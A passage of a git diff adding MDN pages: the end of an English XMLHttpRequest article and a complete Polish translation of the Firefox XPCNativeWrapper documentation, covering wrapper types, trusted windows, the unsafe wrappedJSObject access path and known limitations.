+<pre class="brush: js">const XMLHttpRequest = Components.Constructor("@mozilla.org/xmlextras/xmlhttprequest;1", "nsIXMLHttpRequest");
+</pre>
+<p>Unfortunately in versions of Gecko prior to Gecko 16 there is a bug which can cause requests created this way to be cancelled for no reason.  If you need your code to work on Gecko 15 or earlier, you can get the XMLHttpRequest constructor from the hidden DOM window like so.</p>
+<pre class="brush:js">const { XMLHttpRequest } = Components.classes["@mozilla.org/appshell/appShellService;1"]
+ .getService(Components.interfaces.nsIAppShellService)
+ .hiddenDOMWindow;
+var oReq = new XMLHttpRequest();</pre>
+<h2 id="See_also">See also</h2>
+<ol>
+ <li><a href="/en-US/docs/AJAX/Getting_Started" title="AJAX/Getting_Started">MDN AJAX introduction</a></li>
+ <li><a href="/en-US/docs/HTTP_access_control" title="HTTP access control">HTTP access control</a></li>
+ <li><a href="/en-US/docs/How_to_check_the_security_state_of_an_XMLHTTPRequest_over_SSL" title="How to check the security state of an XMLHTTPRequest over SSL">How to check the security state of an XMLHTTPRequest over SSL</a></li>
+ <li><a href="http://www.peej.co.uk/articles/rich-user-experience.html">XMLHttpRequest - REST and the Rich User Experience</a></li>
+ <li><a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/xmlsdk/html/xmobjxmlhttprequest.asp">Microsoft documentation</a></li>
+ <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/SafariJSProgTopics/Articles/XHR.html">Apple developers' reference</a></li>
+ <li><a href="http://jibbering.com/2002/4/httprequest.html">"Using the XMLHttpRequest Object" (jibbering.com)</a></li>
+ <li><a href="http://www.w3.org/TR/XMLHttpRequest/">The XMLHttpRequest Object: W3C Specification</a></li>
+ <li><a href="http://dev.w3.org/2006/webapi/progress/Progress.html" title="http://dev.w3.org/2006/webapi/progress/Progress.html">Web Progress Events specification</a></li>
+</ol>
diff --git a/files/pl/xpcnativewrapper/index.html b/files/pl/xpcnativewrapper/index.html
new file mode 100644
index 0000000000..24e09990fa
--- /dev/null
+++ b/files/pl/xpcnativewrapper/index.html
@@ -0,0 +1,208 @@
+---
+title: XPCNativeWrapper
+slug: XPCNativeWrapper
+tags:
+ - Bezpieczeństwo
+ - DOM
+ - Dodatki
+ - Rozszerzenia
+ - Wszystkie_kategorie
+ - XPCNativeWrapper
+translation_of: Mozilla/Tech/Xray_vision
+---
+<p>
+</p><p>Obiekt <code>XPCNativeWrapper</code> służy do <a href="pl/Obiekty_opakowuj%c4%85ce_w_XPConnect">opakowania</a> obiektu, tak aby można było uzyskać do niego <a href="pl/Bezpieczny_dost%c4%99p_do_sk%c5%82adnik%c3%b3w_DOM_z_poziomu_chrome">dostęp w bezpieczny sposób z poziomu kodu uprzywilejowanego</a>. Można z niego korzystać we wszystkich wersjach Firefoksa, przy czym jego działanie zostało nieco zmienione w wersji 1.5 (Gecko 1.8) i nowszych. Informacje na temat działania obiektu <code>XPCNativeWrapper</code> w wersjach Firefoksa starszych niż 1.5 można znaleźć w <a class="external" href="http://kb.mozillazine.org/XPCNativeWrapper">artykule <code>XPCNativeWrapper</code> w bazie wiedzy witryny MozillaZine</a>. W niniejszym dokumencie opisano działanie obiektu <code>XPCNativeWrapper</code> w programie Firefox w wersji 1.5 i nowszych.
+</p>
+<h3 id="Jak_dzia.C5.82a_obiekt_XPCNativeWrapper" name="Jak_dzia.C5.82a_obiekt_XPCNativeWrapper"> Jak działa obiekt <code>XPCNativeWrapper</code> </h3>
+<p>Obiekt <code>XPCNativeWrapper</code> ogranicza dostęp do własności i metod obiektu, który jest przez niego opakowany. Za pośrednictwem obiektu <code>XPCNativeWrapper</code> dostępne są tylko te własności i metody, które zdefiniowano w specyfikacji IDL (Interface Definition Language, język definicji interfejsów) lub w specyfikacji DOM Level 0 (przy czym niektóre własności i metody DOM Level 0 <a href="#Ograniczenia_w_korzystaniu_z_obiektu_XPCNativeWrapper">nie działają w odniesieniu do obiektu <code>XPCNativeWrapper</code></a>). Obiekt <code>XPCNativeWrapper</code> nie udostępnia przede wszystkim własności dodanych do opakowanego obiektu za pomocą kodu JavaScript ani metod pobierania i ustawiania zdefiniowanych za pomocą metod <code>__defineGetter__</code> oraz <code>__defineSetter__</code>. W rezultacie możliwy jest bezpieczny dostęp do metod obiektu zdefiniowanych w specyfikacji IDL. </p><p>Należy koniecznie zapoznać się z sekcją <a href="#Znane_b.C5.82.C4.99dy">Znane błędy</a>, zwłaszcza w przypadku pisania kodu przeznaczonego do działania w wydaniach Firefoksa z serii 1.5.0.x.
+</p>
+<h3 id="Typy_obiektu_XPCNativeWrapper" name="Typy_obiektu_XPCNativeWrapper"> Typy obiektu <code>XPCNativeWrapper</code> </h3>
+<p>W programie Firefox 1.5 istnieją trzy typy obiektu <code>XPCNativeWrapper</code>. Wszystkie służą do opakowania potencjalnie niezabezpieczonych obiektów i <a href="#Jak_dzia.C5.82a_obiekt_XPCNativeWrapper">umożliwiają bezpieczny dostęp do własności i metod tych obiektów</a>.
+</p><p>O różnicach w działaniu między trzema typami obiektu <code>XPCNativeWrapper</code> decydują dwie cechy, jakie może mieć obiekt opakowujący <code>XPCNativeWrapper</code>. Obiekt <code>XPCNativeWrapper</code> może być <a href="#Obiekty_jawne_.28explicit.29_i_niejawne_.28implicit.29"><i>jawny</i></a> (lub odwrotnie: <i>niejawny</i>) albo też <a href="#Obiekty_g.C5.82.C4.99bokie_.28deep.29_i_p.C5.82ytkie_.28shallow.29"><i>głęboki</i></a> (lub odwrotnie: <i>płytki</i>). Typ tworzonego obiektu opakowującego jest określany przez <a href="#Tworzenie_obiekt.C3.B3w_XPCNativeWrapper">sposób jego utworzenia</a>:
+</p>
+<table class="standard-table">
+<tbody><tr>
+<th> Utworzony przez
+</th><th> Jawny/niejawny
+</th><th> Głęboki/płytki
+</th></tr>
+<tr>
+<th> <a href="#Dost.C4.99p_do_niezaufanego_obiektu_z_poziomu_chronionego_skryptu">Chroniony skrypt uzyskujący dostęp do niezaufanego obiektu</a>
+</th><td> Niejawny
+</td><td> Głęboki
+</td></tr>
+<tr>
+<th> <a href="#Wywo.C5.82anie_konstruktora_obiektu_XPCNativeWrapper_z_argumentami_typu_String">Konstruktor wywołany z argumentami typu <code>String</code></a>
+</th><td> Jawny
+</td><td> Płytki
+</td></tr>
+<tr>
+<th> <a href="#Wywo.C5.82anie_konstruktora_obiektu_XPCNativeWrapper_bez_argument.C3.B3w_typu_String">Konstruktor wywołany bez argumentów typu <code>String</code></a>
+</th><td> Jawny
+</td><td> Głęboki
+</td></tr></tbody></table>
+<h4 id="Obiekty_jawne_.28explicit.29_i_niejawne_.28implicit.29" name="Obiekty_jawne_.28explicit.29_i_niejawne_.28implicit.29"> Obiekty jawne (<i>explicit</i>) i niejawne (<i>implicit</i>) </h4>
+<p>Różnica w działaniu jawnych i niejawnych obiektów <code>XPCNativeWrapper</code> polega na dostępie do własności opakowanego obiektu: w przypadku obiektów niejawnych dostęp z poziomu skryptu, który nie jest <a href="#Co_to_jest_skrypt_chroniony.3F">chroniony</a>, NIE jest bezpieczny. Żądania dostępu do własności opakowanego obiektu są wówczas przekazywane do własności <code>wrappedJSObject</code> obiektu <code>XPCNativeWrapper</code>.
+</p><p>Oznacza to, że w skryptach, które nie są <a href="#Co_to_jest_skrypt_chroniony.3F">chronione</a>, nie trzeba zajmować się możliwością wystąpienia błędów, ponieważ do skryptów tych przekazywane są niejawne obiekty <code>XPCNativeWrapper</code>. Z drugiej strony w skryptach tego rodzaju należy przewidzieć możliwość niezabezpieczonego dostępu do obiektu.
+</p><p>Dostęp do własności jawnego obiektu <code>XPCNativeWrapper</code> jest zawsze bezpieczny, niezależnie od tego, czy wywołujący skrypt jest <a href="#Co_to_jest_skrypt_chroniony.3F">chroniony</a>.
+</p>
+<h4 id="Obiekty_g.C5.82.C4.99bokie_.28deep.29_i_p.C5.82ytkie_.28shallow.29" name="Obiekty_g.C5.82.C4.99bokie_.28deep.29_i_p.C5.82ytkie_.28shallow.29"> Obiekty głębokie (<i>deep</i>) i płytkie (<i>shallow</i>) </h4>
+<p>Różnica w działaniu głębokich i płytkich obiektów <code>XPCNativeWrapper</code> jest następująca: przy próbie dostępu do własności głębokiego obiektu opakowującego lub wywołaniu funkcji tego obiektu zwracana wartość jest również opakowana przez obiekt <code>XPCNativeWrapper</code>. Ten nowy obiekt <code>XPCNativeWrapper</code> jest także obiektem głębokim. Jest również <a href="#Obiekty_jawne_.28explicit.29_i_niejawne_.28implicit.29">jawny</a> tylko jeżeli obiekt <code>XPCNativeWrapper</code>, do którego własności uzyskiwano dostęp, jest obiektem jawnym. Natomiast przy próbie dostępu do własności płytkiego obiektu opakowującego lub wywołaniu funkcji tego obiektu zwracana wartość może być obiektem niezabezpieczonym.
+</p><p>Załóżmy, że dla tego samego obiektu <code>window</code> istnieją trzy instancje obiektów <code>XPCNativeWrapper</code>. Nazwijmy je <code>deepExplicitWindow</code>, <code>deepImplicitWindow</code> i <code>shallowWindow</code>:
+</p>
+<pre class="eval">var doc1 = deepExplicitWindow.document;
+// Zmienna doc1 jest teraz głębokim jawnym obiektem XPCNativeWrapper
+// opakowującym obiekt document. Wywołanie na przykład metody
+// doc1.open() jest bezpieczne.
+</pre>
+<pre class="eval">var doc2 = deepImplicitWindow.document;
+// Jeżeli w skrypcie wywołującym ustawiono parametr xpcnativewrappers=yes,
+// zmienna doc2 jest teraz głębokim niejawnym obiektem XPCNativeWrapper
+// opakowującym obiekt document.
+// W przeciwnym przypadku zmienna doc2 jest teraz niezabezpieczonym obiektem
+// document, ponieważ żądanie dostępu do własności zostało po prostu
+// przekazane do niezabezpieczonego obiektu window.
+</pre>
+<pre class="eval">var doc3 = shallowWindow.document;
+// Zmienna doc3 jest teraz niezabezpieczonym obiektem document.
+</pre>
+<h3 id="Tworzenie_obiekt.C3.B3w_XPCNativeWrapper" name="Tworzenie_obiekt.C3.B3w_XPCNativeWrapper"> Tworzenie obiektów <code>XPCNativeWrapper</code> </h3>
+<p>Istnieją trzy różne sposoby tworzenia obiektów <code>XPCNativeWrapper</code> — po jednym dla każdego z trzech typów.
+</p>
+<h4 id="Dost.C4.99p_do_niezaufanego_obiektu_z_poziomu_chronionego_skryptu" name="Dost.C4.99p_do_niezaufanego_obiektu_z_poziomu_chronionego_skryptu"> Dostęp do niezaufanego obiektu z poziomu chronionego skryptu </h4>
+<p>Za każdym razem, kiedy <a href="#Co_to_jest_skrypt_chroniony.3F">skrypt chroniony</a> uzyskuje dostęp do <a href="#Co_to_jest_obiekt_niezaufany.3F">obiektu niezaufanego</a>, zwracany jest <a href="#Obiekty_jawne_.28explicit.29_i_niejawne_.28implicit.29">niejawny</a> <a href="#Obiekty_g.C5.82.C4.99bokie_.28deep.29_i_p.C5.82ytkie_.28shallow.29">głęboki</a> obiekt <code>XPCNativeWrapper</code>. Dostęp do własności takiego obiektu <code>XPCNativeWrapper</code> z poziomu <a href="#Co_to_jest_skrypt_chroniony.3F">skryptu chronionego</a> jest bezpieczny.
+</p><p>Utworzony w ten sposób obiekt opakowujący pozostaje dostępny, dopóki istnieje opakowywany obiekt. Przy dwukrotnej próbie dostępu do obiektu w jednym wierszu kodu zwrócony zostanie ten sam obiekt <code>XPCNativeWrapper</code>.
+</p>
+<h5 id="Co_to_jest_skrypt_chroniony.3F" name="Co_to_jest_skrypt_chroniony.3F"> Co to jest skrypt chroniony? </h5>
+<p>W wersjach programu Firefox od 1.5 do 1.5.0.5 ochrona skryptu lub jej brak zależy wyłącznie od identyfikatora URI skryptu. Skrypt jest chroniony tylko jeżeli jego identyfikator URI rozpoczyna się prefiksem zdefiniowanym jako chroniony; skrypty ładowane w inny sposób niż przez identyfikator URI (np. komponenty implementowane za pomocą kodu JavaScript) nie są chronione. Prefiksy chronione w programie Firefox są określone w Rejestrze Chrome.
+</p><p>Domyślnie <b>wszystkie pakiety składników oprogramowania (<i>content</i>) są chronione</b>. Oznacza to, że każdy identyfikator URI rozpoczynający się ciągiem "&lt;tt&gt;<a class=" external" rel="freelink">chrome://</a>&lt;nazwa pakietu&gt;/content/&lt;/tt&gt;" (niezależnie od pakietu) jest chroniony. W poszczególnych pakietach można <a href="pl/Rejestracja_Chrome#xpcnativewrappers">zmienić tę konfigurację, ustawiając odpowiedni znacznik</a> w pliku manifestu chrome.
+</p><p>Począwszy od wersji 1.5.0.6 Firefoksa, komponenty zaimplementowane za pomocą kodu JavaScript są skryptami chronionymi. Skrypt jest więc chroniony zarówno wówczas, gdy jest załadowany przez identyfikator URI rozpoczynający się chronionym prefiksem, jak i wtedy, gdy jest komponentem zaimplementowanym za pomocą kodu JavaScript.
+</p>
+<h5 id="Co_to_jest_obiekt_niezaufany.3F" name="Co_to_jest_obiekt_niezaufany.3F"> Co to jest obiekt niezaufany? </h5>
+<p>Każdy obiekt może być zaufany lub niezaufany. Obiekt jest zaufany, gdy spełniony jest przynajmniej jeden z poniższych warunków:
+</p>
+<ol><li> Jego rodzic (własność <code>__parent__</code> w języku JavaScript) jest obiektem zaufanym.
+</li><li> Jest to obiekt zakresu nadrzędnego w komponencie JavaScript.
+</li><li> Jest to obiekt <code>window</code> <a href="#Co_to_jest_okno_zaufane.3F">okna zaufanego</a>.
+</li></ol>
+<p>Ponieważ w przypadku wszystkich obiektów DOM w oknie ich własność <code>__parent__</code> zawierać będzie obiekt <code>window</code> tego okna, będą one zaufane jedynie wówczas, gdy okno, w którym się znajdują, jest zaufane.
+</p>
+<h5 id="Co_to_jest_okno_zaufane.3F" name="Co_to_jest_okno_zaufane.3F"> Co to jest okno zaufane? </h5>
+<p>Zaufanie do okna zależne jest od zawierającego je kontenera. Okno jest zaufane, gdy spełniony jest przynajmniej jeden z poniższych warunków:
+</p>
+<ol><li> Jest to okno najwyższego poziomu (np. <code>&lt;xul:window&gt;</code>, <code>&lt;xul:dialog&gt;</code> lub identyfikator URI przekazany do argumentu &lt;tt&gt;-chrome&lt;/tt&gt; wiersza polecenia).
+</li><li> Rodzic okna jest zaufany oraz spełniony jest jeden z trzech warunków:
+<ol><li> Okno nie jest załadowane w obiekcie <code>&lt;xul:iframe&gt;</code> ani <code>&lt;xul:browser&gt;</code>.
+</li><li> Ładujący okno obiekt <code>&lt;xul:iframe&gt;</code> lub <code>&lt;xul:browser&gt;</code> nie ma atrybutu "type".
+</li><li> Wartość atrybutu "type" obiektu <code>&lt;xul:iframe&gt;</code> lub <code>&lt;xul:browser&gt;</code> ładującego okno nie jest równa "content" ani nie rozpoczyna się od ciągu znaków "content-".
+</li></ol>
+</li></ol>
+<p>Uwaga: to, czy okno jest zaufane, <b>nie</b> zależy od identyfikatora URI załadowanego w tym oknie. Dlatego jeżeli kod z poniższego przykładu zostanie wykonany w dokumencie, którego okno jest już zaufane, zostaną utworzone okna zaufane:
+</p>
+<ul><li> <code>&lt;xul:browser&gt;</code>
+</li><li> <code>&lt;xul:browser type="chrome"&gt;</code>
+</li><li> <code>&lt;xul:browser type="wsciekly_pies"&gt;</code>
+</li><li> <code>&lt;xul:iframe type="costam"&gt;</code>
+</li><li> <code>&lt;html:iframe&gt;</code>
+</li><li> <code>&lt;html:iframe type="content"&gt;</code>
+</li></ul>
+<p>Z kolei wykonanie poniższego kodu nie spowoduje utworzenia okien zaufanych:
+</p>
+<ul><li> <code>&lt;xul:browser type="content"&gt;</code>
+</li><li> <code>&lt;xul:iframe type="content-primary"&gt;</code>
+</li></ul>
+<p>Należy także zauważyć, że każde okno potomne okna niezaufanego automatycznie staje się niezaufane.
+</p>
+<h5 id="Co_dzieje_si.C4.99.2C_gdy_skrypt_uzyskuje_dost.C4.99p_do_obiektu.3F" name="Co_dzieje_si.C4.99.2C_gdy_skrypt_uzyskuje_dost.C4.99p_do_obiektu.3F"> Co dzieje się, gdy skrypt uzyskuje dostęp do obiektu? </h5>
+<p>W poniższej tabeli opisano, co dzieje się, gdy skrypt uzyskuje dostęp do obiektu i jaka jest rola obiektu opakowującego.
+</p>
+<table class="standard-table">
+<tbody><tr>
+<th> Skrypt
+</th><th> Obiekt
+</th><th> Rezultaty
+</th></tr>
+<tr>
+<td> Chroniony </td><td> Zaufany </td><td> Nie jest tworzony obiekt opakowujący, w wyniku czego skrypt uzyskuje pełny dostęp do obiektu.
+</td></tr>
+<tr>
+<td> Chroniony </td><td> Niezaufany </td><td> Tworzony jest <a href="#Obiekty_jawne_.28explicit.29_i_niejawne_.28implicit.29">niejawny</a> <a href="#Obiekty_g.C5.82.C4.99bokie_.28deep.29_i_p.C5.82ytkie_.28shallow.29">głęboki</a> obiekt <code>XPCNativeWrapper</code>.
+</td></tr>
+<tr>
+<td> Niechroniony </td><td> Zaufany </td><td> Nie jest tworzony obiekt opakowujący, tak jak w pierwszym przypadku (skrypt chroniony i obiekt zaufany).
+</td></tr>
+<tr>
+<td> Niechroniony </td><td> Niezaufany </td><td> Nie jest tworzony obiekt opakowujący, tak jak w pierwszym przypadku (skrypt chroniony i obiekt zaufany)
+</td></tr></tbody></table>
+<h4 id="Korzystanie_z_konstruktora_obiektu_XPCNativeWrapper" name="Korzystanie_z_konstruktora_obiektu_XPCNativeWrapper"> Korzystanie z konstruktora obiektu <code>XPCNativeWrapper</code> </h4>
+<div class="note">Jak wspomniano wyżej, domyślnie w nowszych wersjach Firefoksa obiekty <code>XPCNativeWrapper</code> są tworzone automatycznie. <b>Nie ma potrzeby używania konstruktora obiektu <code>XPCNativeWrapper</code></b>, chyba że tworzony kod ma działać w starszych wersjach przeglądarki lub wyłączono obsługę obiektów <code>XPCNativeWrapper</code>.</div>
+<h5 id="Wywo.C5.82anie_konstruktora_obiektu_XPCNativeWrapper_z_argumentami_typu_String" name="Wywo.C5.82anie_konstruktora_obiektu_XPCNativeWrapper_z_argumentami_typu_String"> Wywołanie konstruktora obiektu <code>XPCNativeWrapper</code> z argumentami typu <code>String</code> </h5>
+<p>Rozważmy przykład:
+</p>
+<pre class="eval">var contentWinWrapper = new XPCNativeWrapper(content,
+ "document");
+</pre>
+<p>Tworzony jest <a href="#Obiekty_jawne_.28explicit.29_i_niejawne_.28implicit.29">niejawny</a> <a href="#Obiekty_g.C5.82.C4.99bokie_.28deep.29_i_p.C5.82ytkie_.28shallow.29">płytki</a> obiekt <code>XPCNativeWrapper</code>. Składnia została utrzymana ze względu na zgodność z wersjami Firefoksa wcześniejszymi niż 1.5. O ile do wszystkich własności obiektu <code>contentWinWrapper</code> można teraz uzyskać dostęp w bezpieczny sposób, o tyle dostęp do zwracanych przez nie wartości NIE jest bezpieczny (podobnie jak w wersjach Firefoksa wcześniejszych niż 1.5), ponieważ obiekt <code>XPCNativeWrapper</code> jest <a href="#Obiekty_g.C5.82.C4.99bokie_.28deep.29_i_p.C5.82ytkie_.28shallow.29">płytki</a>. Aby zatem porównać tytuł dokumentu zawartości (<i>content</i>) z bieżącym zaznaczeniem zawartości, należy wykonać następujący kod:
+</p>
+<pre class="eval">var winWrapper = new XPCNativeWrapper(content, "document",
+ "getSelection()");
+var docWrapper = new XPCNativeWrapper(winWrapper.document,
+ "title");
+return docWrapper.title == winWrapper.getSelection();
+</pre>
+<p>podobnie jak w wersjach Firefoksa starszych niż 1.5. Należy zwrócić uwagę, że argument <code>"getSelection()"</code> nie jest niezbędny; jeżeli kod nie jest przeznaczony do użytku w wersjach Firefoksa starszych niż 1.5, można go usunąć. Jedynym elementem wymaganym do utworzenia tego typu obiektu <code>XPCNativeWrapper</code> w programie Firefox 1.5 lub nowszym jest pojedynczy argument typu <code>String</code>, umieszczony po opakowywanym obiekcie. </p>
+<h5 id="Wywo.C5.82anie_konstruktora_obiektu_XPCNativeWrapper_bez_argument.C3.B3w_typu_String" name="Wywo.C5.82anie_konstruktora_obiektu_XPCNativeWrapper_bez_argument.C3.B3w_typu_String"> Wywołanie konstruktora obiektu <code>XPCNativeWrapper</code> bez argumentów typu <code>String</code> </h5>
+<p>Rozważmy przykład:
+</p>
+<pre class="eval">var contentWinWrapper = new XPCNativeWrapper(content);
+</pre>
+<p>Tworzony jest <a href="#Obiekty_jawne_.28explicit.29_i_niejawne_.28implicit.29">jawny</a> <a href="#Obiekty_g.C5.82.C4.99bokie_.28deep.29_i_p.C5.82ytkie_.28shallow.29">głęboki</a> obiekt <code>XPCNativeWrapper</code>. Dostęp do własności tego obiektu <code>XPCNativeWrapper</code> jest bezpieczny, a zwracane wartości będą także opakowane przez <a href="#Obiekty_jawne_.28explicit.29_i_niejawne_.28implicit.29">jawne</a> <a href="#Obiekty_g.C5.82.C4.99bokie_.28deep.29_i_p.C5.82ytkie_.28shallow.29">głębokie</a> obiekty <code>XPCNativeWrapper</code>.
+</p>
+<h3 id="Czas_istnienia_obiektu_XPCNativeWrapper" name="Czas_istnienia_obiektu_XPCNativeWrapper"> Czas istnienia obiektu <code>XPCNativeWrapper</code> </h3>
+<p>Jawne obiekty <code>XPCNativeWrapper</code> istnieją dopóki, dopóty istnieją do nich odwołania. Utworzenie nowego jawnego obiektu <code>XPCNativeWrapper</code> dla tego samego potencjalnie niezabezpieczonego obiektu object spowoduje utworzenie nowego obiektu opakowującego; należy mieć to na uwadze przy <a href="#Ustawianie_w.C5.82asno.C5.9Bci_.E2.80.9Eexpando.E2.80.9D_obiektu_XPCNativeWrapper">ustawianiu własności „expando”</a>.
+</p><p>Niejawne obiekty <code>XPCNativeWrapper</code> istnieją tak długo, jak opakowywane przez nie obiekty.
+</p>
+<h3 id="Ustawianie_w.C5.82asno.C5.9Bci_.E2.80.9Eexpando.E2.80.9D_obiektu_XPCNativeWrapper" name="Ustawianie_w.C5.82asno.C5.9Bci_.E2.80.9Eexpando.E2.80.9D_obiektu_XPCNativeWrapper"> Ustawianie własności „expando” obiektu <code>XPCNativeWrapper</code> </h3>
+<p>Możliwe jest ustawienie własności „expando” (tj. własności o nazwach, które nie mają odpowiedników wśród własności zdefiniowanych w specyfikacji IDL) dla obiektów <code>XPCNativeWrapper</code>. Własności te będą widoczne z poziomu chrome, ale nie będzie można uzyskać do nich dostępu z poziomu zawartości (<i>content</i>). <b>Nie istnieje bezpieczny sposób ustawienia własności „expando” z poziomu chrome i odczytania jej następnie z poziomu zawartości.</b>
+</p>
+<h3 id="Niezabezpieczony_dost.C4.99p_do_w.C5.82asno.C5.9Bci" name="Niezabezpieczony_dost.C4.99p_do_w.C5.82asno.C5.9Bci"> Niezabezpieczony dostęp do własności </h3>
+<p>Jeżeli z jakiegoś powodu wymagany jest niezabezpieczony dostęp do własności, można go uzyskać za pomocą własności <code>wrappedJSObject</code> obiektu opakowującego. Jeżeli na przykład obiekt <code>docWrapper</code> jest obiektem opakowującym obiekt <code>doc</code>, to własność
+</p>
+<pre class="eval">docWrapper.wrappedJSObject.prop
+</pre>
+<p>jest identyczna z własnością
+</p>
+<pre class="eval">doc.prop
+</pre>
+<p>Jak podkreślono w tytule niniejszej sekcji, technika ta <b>nie jest bezpieczna</b>. Własności <code>wrappedJSObject</code> nie należy używać w kodzie produkcyjnym w celu ominięcia pośrednictwa obiektu XPCNativeWrapper.
+</p><p>{{ Fx_minversion_inline(3) }} W programie Firefox 3 własność <code>wrappedJSObject</code> zwraca kolejny obiekt opakowujący obiektu zawartości JavaScript (XPCSafeJSObjectWrapper), co pozwala na bezpieczne sprawdzenie obiektu zawartości — patrz <a href="pl/Obiekty_opakowuj%c4%85ce_XPConnect#XPCSafeJSObjectWrapper">Obiekty opakowujące XPConnect#XPCSafeJSObjectWrapper</a>.
+</p><p>Informacje o lepszych rozwiązaniach alternatywnych znajdują się w artykule <a href="pl/Fragmenty_kodu/Interakcja_pomi%c4%99dzy_stronami_uprzywilejowanymi_i_stronami_bez_przywilej%c3%b3w">Interakcja pomiędzy stronami uprzywilejowanymi i stronami bez przywilejów</a>.
+</p>
+<h3 id="Znane_b.C5.82.C4.99dy" name="Znane_b.C5.82.C4.99dy"> Znane błędy </h3>
+<p>W wersjach z serii 1.5.0.x występują dwa znane błędy w obsłudze obiektów <code>XPCNativeWrapper</code>:
+</p>
+<ol><li> W wersjach Firefoksa od 1.5 do 1.5.0.4 występuje {{ Bug(337095) }}, w wyniku którego w niektórych przypadkach dla skryptów chronionych nie są tworzone obiekty opakowujące. Z reguły, gdy skrypt chroniony uzyskuje dostęp do własności lub wywołuje funkcję, a ta własność lub funkcja zwraca obiekt niezaufany, tworzony jest obiekt opakowujący. Jeżeli jednak funkcja w skrypcie chronionym jest wywoływana z poziomu kodu w języku C++, a jako argument jest do niej przekazywany obiekt niezaufany, obiekt opakowujący <i>nie</i> zostanie utworzony. W funkcjach, które mają być wywołane w taki sposób, należy zaimplementować <a href="#XPCNativeWrapper_constructor_call_with_no_string_arguments">własną technikę opakowania</a>. Błąd ten naprawiono w Firefoksie w wersji 1.5.0.5 i nowszych.
+</li><li> W wersjach Firefoksa od 1.5 do 1.5.0.5 występuje {{ Bug(345991) }}, w wyniku którego komponenty utworzone przy użyciu języka JavaScript nie są skryptami chronionymi. Błąd ten naprawiono w Firefoksie w wersji 1.5.0.6 i nowszych.
+</li></ol>
+<h3 id="Ograniczenia_w_korzystaniu_z_obiektu_XPCNativeWrapper" name="Ograniczenia_w_korzystaniu_z_obiektu_XPCNativeWrapper"> Ograniczenia w korzystaniu z obiektu <code>XPCNativeWrapper</code> </h3>
+<p>Niektóre często stosowane własności i style kodowania nie mogą być używane z obiektami <code>XPCNativeWrapper</code>:
+</p>
+<ol><li> Przypisywanie wartości lub odczytywanie własności <code>on*</code> obiektu <code>XPCNativeWrapper</code> opakowującego węzeł DOM lub obiekt <code>window</code> spowoduje zgłoszenie wyjątku. (Zamiast tej techniki należy użyć metody <code>addEventListener</code> oraz — jeżeli używana była dyrektywa <code>return false;</code> — należy zastąpić ją metodą <code>event.preventDefault()</code> w kodzie obserwatora).
+</li><li> Nie jest możliwy dostęp do ramek określanych przy użyciu nazwy okna (np. <code>window.nazwaRamki</code>) w odniesieniu do obiektów <code>XPCNativeWrapper</code>.
+</li><li> Nie jest możliwy dostęp do własności <code>document.all</code> w odniesieniu do obiektu <code>XPCNativeWrapper</code> opakowującego obiekt <code>document</code>.
+</li><li> Nie jest możliwy dostęp do nazwanych elementów określanych przy użyciu nazw w odniesieniu do obiektu <code>XPCNativeWrapper</code> opakowującego dokument HTML. Jeżeli na przykład istnieje element <code>&lt;form name="foo"&gt;</code>, a obiekt <code>docWrapper</code> jest obiektem opakowującym dokument HTML <code>doc</code>, to własność <code>doc.foo</code> zwraca obiekt <code>HTMLFormElement</code>, ale własność <code>docWrapper.foo</code> zwraca wartość <code>undefined</code>. Aby uzyskać dostęp do nazwanych elementów, należy użyć metody <code>docWrapper.forms.namedItem("foo")</code>.
+</li><li> Nie jest możliwy dostęp do elementów określanych przy użyciu identyfikatorów w odniesieniu do obiektu <code>XPCNativeWrapper</code> opakowującego dokument HTML. Należy użyć metody <code>getElementById</code>.
+</li><li> Nie jest możliwy dostęp do elementów <code>input</code> określanych przy użyciu nazw w odniesieniu do obiektu <code>XPCNativeWrapper</code> opakowującego formularz HTML. Należy użyć metody <code>form.elements.namedItem("nazwaElementuInput")</code>.
+</li><li> Nie jest możliwy dostęp do elementów określanych przy użyciu nazw w odniesieniu do obiektu <code>XPCNativeWrapper</code> opakowującego obiekt <code>HTMLCollection</code>. Należy użyć metody <code>namedItem()</code>. Uwaga: metoda <code>namedItem</code> zwraca jedynie pierwszy element <code>input</code> o danej nazwie, nawet jeżeli w formularzu znajduje się więcej elementów o tej samej nazwie (np. przycisków radiowych). </li><li> Nie jest możliwe wywoływanie metod zaimplementowanych przez wtyczki NPAPI za pośrednictwem obiektu <code>XPCNativeWrapper</code> opakowującego odpowiadający im węzeł. </li><li> Nie jest możliwe ustawianie i pobieranie własności zaimplementowanych przez wtyczki NPAPI za pośrednictwem obiektu <code>XPCNativeWrapper</code> opakowującego odpowiadający im węzeł. </li><li> Nie jest możliwe wywoływanie metod zaimplementowanych poprzez wiązania XBL dołączone do węzła za pośrednictwem obiektu <code>XPCNativeWrapper</code> opakowującego ten węzeł.
+</li><li> Nie jest możliwe ustawianie ani pobieranie własności zaimplementowanych poprzez wiązania XBL dołączone do węzła za pośrednictwem obiektu <code>XPCNativeWrapper</code> opakowującego ten węzeł.
+</li><li> Przy wyliczaniu własności obiektu <code>XPCNativeWrapper</code> za pomocą pętli "<code>for (var p in obiekt_opakowujący)</code>" nie są wyliczane własności zdefiniowane w specyfikacji IDL.
+</li><li> Własność Object.prototype nie jest częścią hierarchii prototypów obiektu <code>XPCNativeWrapper</code>. W rezultacie wiele własności obiektu <code>Object.prototype</code> pozostaje niezdefiniowanych w odniesieniu do obiektu <code>XPCNativeWrapper</code> (są to własności <code>__proto__</code>, <code>__parent__</code>, <code>__count__</code>, <code>toSource</code>, <code>toLocaleString</code>, <code>valueOf</code>, <code>watch</code>, <code>unwatch</code>, <code>hasOwnProperty</code>, <code>isPrototypeOf</code>, <code>propertyIsEnumerable</code>, <code>__defineGetter__</code>, <code>__defineSetter__</code>, <code>__lookupGetter__</code> oraz <code>__lookupSetter__</code>).
+</li><li> Nie jest obsługiwana metoda <code>importXPCNative</code> dostępna w starszych implementacjach obiektów <code>XPCNativeWrapper</code>.
+</li><li> Nie jest możliwy dostęp do klas standardowych (takich jak <code>Function</code>) za pośrednictwem obiektu <code>XPCNativeWrapper</code>. Aby utworzyć funkcje i obiekty powiązane z rodzicem danego okna, należy skorzystać z metody <code>eval</code> tego okna.
+</li></ol>
+<p>Artykuł <a class="external" href="http://oreillynet.com/pub/a/network/2005/11/01/avoid-common-greasemonkey-pitfalls.html?page=3">Avoid Common Pitfalls in Greasemonkey</a> (<i>Jak uniknąć typowych pułapek w Greasemonkey</i>; tekst w jęz. ang.) zawiera obszerne omówienia niektórych z powyższych ograniczeń (w odniesieniu do skryptów Greasemonkey).
